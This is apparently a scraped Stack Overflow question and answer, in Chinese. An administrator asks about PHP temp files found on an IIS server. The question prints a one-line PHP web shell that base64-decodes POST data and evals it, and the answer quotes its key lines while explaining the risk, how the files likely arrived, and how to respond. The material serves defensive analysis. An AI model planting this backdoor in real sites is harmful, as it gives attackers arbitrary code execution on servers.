【问题标题】:PHP code contained in phpXXXX.tmp files in temp directory临时目录中 phpXXXX.tmp 文件中包含的 PHP 代码
【发布时间】:2015-12-01 14:35:52
【问题描述】:

我注意到我们的临时目录有一些看起来像临时文件的名称,例如 phpA3F9.tmp

查看内容我发现一个数字后跟一些PHP代码,以下代码出现在几个文件中

9990000    
<?php 
    $mujj = $_POST['z']; if ($mujj!="") { $xsser=base64_decode($_POST['z0']); @eval("\$safedg = $xsser;"); } ?>

这似乎是一次攻击尝试,但我认为它依赖于攻击者能够执行 tmp 文件夹中的代码。

谁能解释这里发生了什么?有哪些风险?这些文件如何进入 tmp 文件夹?我该如何阻止他们?

我不知道这是否相关,但我们在 IIS 上运行 PHP 5.5

【问题讨论】:

  • 那个文件名让我想起了 MSIE 临时文件
  • 可能它们是被攻击者上传到服务器的,如果您的upload_tmp_dir 指向您的临时目录,则似乎有人试图将恶意代码上传到您的服务器。这些文件在脚本执行后被删除。

标签: php security temp


【解决方案1】:

简短的故事:您的服务器可能已经被入侵了。

这些是 PHP 外壳——它们所在的位置大多是无害的,但如果它们进入您的 Web 根目录,它们将允许攻击者在您的服务器上执行任意代码。

理解shell的关键部分是:

$xsser=base64_decode($_POST['z0']);
@eval("\$safedg = $xsser;");

它完全接受来自$_POST 变量、base64_decodes 的任何代码,然后通过eval 运行它,同时抑制任何错误。

它们可能是通过您网站上的表单上传的,并作为中间步骤被转储到临时文件夹中,希望它们会被移动到可通过网络访问的位置。另一种选择是你的服务器上已经有一个 shell 或 rootkit,它会将这些文件放在它可以找到的任何可写文件夹中。

那该怎么办呢?检查您的服务器日志 - 如果您看到任何与您不认识的脚本的成功连接,您可能会受到威胁。在您的网站上查找任何上传表单,并将它们锁定(需要用户身份验证等),然后如果您确定自己受到了威胁,请不要费心尝试清理它。启动新服务器,将您的干净代码、重要文件和数据迁移到干净的服务器。

【讨论】:

  • 我曾经在一家开发+托管公司工作,我们不得不将 Joomla 站点隔离到他们自己的服务器上,因为每隔几周每个站点都会得到一个 c99.php 的副本(或类似的东西) )。他们进入一个站点,然后传播到服务器上的任何其他世界可写文件夹,从而能够充当拥有网站的任何用户。我们最终运行了一个践踏世界可写文件夹的 cron - 丑陋,但它一次只包含一个站点的感染。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2010-09-23
  • 1970-01-01
  • 1970-01-01
  • 2015-01-31
  • 1970-01-01
  • 1970-01-01
  • 2013-05-03
相关资源
最近更新 更多